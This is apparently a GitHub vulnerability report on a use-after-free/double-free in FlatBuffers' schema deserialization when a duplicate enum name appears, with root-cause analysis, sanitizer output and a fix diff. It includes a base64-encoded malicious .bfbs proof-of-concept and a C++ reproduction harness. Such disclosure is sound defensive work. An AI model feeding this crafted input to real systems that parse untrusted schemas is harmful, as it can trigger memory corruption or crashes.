Use-after-free / double-free in Parser::Deserialize via SymbolTable duplicate handling
- Dominant language
- C++
- Stars
- 26.5k
- Forks
- 3.7k
- PR merge metrics
- No merged PRs in 30d
Description
## Summary
`Parser::Deserialize()` frees an `EnumDef` pointer during schema deserialization when a duplicate enum name is detected, but the pointer remains in `SymbolTable::vec`. When the `Parser` destructor runs, `~SymbolTable()` iterates `vec` and deletes the already-freed pointer, causing use-after-free.
## Root Cause
`SymbolTable::Add()` at `idl.h:248` calls `vec.emplace_back(e)` **before** checking for duplicate names. When a duplicate is found, the caller deletes the pointer at `idl_parser.cpp:4462`, but it remains in `vec`. The destructor `~SymbolTable()` at `idl.h:242` iterates `vec` and deletes all entries, hitting the freed pointer.
### Vulnerable Code (idl.h:245-250)
```cpp
bool Add(const std::string &name, T *e) {
vec.emplace_back(e); // Always added to vec FIRST
auto it = dict.find(name);
if (it != dict.end()) return true; // Duplicate! Caller deletes e, but e is in vec
dict[name] = e;
return false;
}
```
### Destructor (idl.h:242-244)
```cpp
~SymbolTable() {
for (auto it = vec.begin(); it != vec.end(); ++it) {
delete *it; // Double-free on the already-deleted pointer
}
}
```
## PoC
```python
# Generate PoC file (176 bytes, .bfbs schema with duplicate enum name)
import base64
poc = base64.b64decode("EAAAAEJGQlMIAAwABAAIAAgAAAAIAAAACAAAAAAAAAACAAAAMAAAABAAAAAMABAABAAIAAAADAAMAAAATAAAAEAAAAAoAAAADAASAAQACAAAAAwADAAAAEQAAAAoAAAAGAAAAAAABgAGAAUABgAAAAADBgAIAAcABgAAAAAAAAMAAAAAAAAAAA0AAABEdXBsaWNhdGVFbnVtAAAADQAAAER1cGxpY2F0ZUVudW0AAAA=")
open("poc.bfbs", "wb").write(poc)
```
```cpp
// Minimal reproduction using public API
#include "flatbuffers/idl.h"
#include "flatbuffers/reflection_generated.h"
#include
#include
int main(int argc, char* argv[]) {
std::ifstream f(argv[1], std::ios::binary);
std::vector data((std::istreambuf_iterator(f)), {});
flatbuffers::Verifier verifier(data.data(), data.size());
if (!reflection::VerifySchemaBuffer(verifier)) return 1;
flatbuffers::Parser parser;
parser.Deserialize(data.data(), data.size());
// UAF triggers in ~Parser() -> ~SymbolTable() when parser goes out of scope
return 0;
}
```
Build & run:
```bash
clang++ -fsanitize=address -g -O1 -DNDEBUG -I include \
repro.cpp src/idl_parser.cpp src/idl_gen_text.cpp src/reflection.cpp src/util.cpp \
-o repro
ASAN_OPTIONS=detect_leaks=0 ./repro poc.bfbs
```
### Sanitizer Output
```
[ERROR] Schema deserialization failed
==PID==ERROR: AddressSanitizer: heap-use-after-free on address 0x5120000002e0
READ of size 8 at 0x5120000002e0 thread T0
#0 in std::vector::begin()
#1 in flatbuffers::SymbolTable::~SymbolTable() idl.h:242
#2 in flatbuffers::EnumDef::~EnumDef()
#3 in flatbuffers::SymbolTable::~SymbolTable() idl.h:243
#4 in flatbuffers::Parser::~Parser() idl.h:1042
#5 in main repro.cpp
freed by thread T0 here:
#0 in operator delete(void*, unsigned long)
#1 in flatbuffers::Parser::Deserialize(reflection::Schema const*) idl_parser.cpp:4462
previously allocated by thread T0 here:
#0 in operator new(unsigned long)
#1 in flatbuffers::Parser::Deserialize(reflection::Schema const*) idl_parser.cpp:4460
SUMMARY: AddressSanitizer: heap-use-after-free idl.h:242 in ~SymbolTable
```
## Suggested Fix
Move `vec.emplace_back(e)` after the duplicate check:
```diff
--- a/include/flatbuffers/idl.h
+++ b/include/flatbuffers/idl.h
bool Add(const std::string &name, T *e) {
- vec.emplace_back(e);
auto it = dict.find(name);
- if (it != dict.end()) return true;
+ if (it != dict.end()) return true; // reject duplicate BEFORE adding to vec
+ vec.emplace_back(e);
dict[name] = e;
return false;
}
```
Found by O2Lab FuzzingBrain.
Contributor guide
Assessment
This issue has not been assessed yet.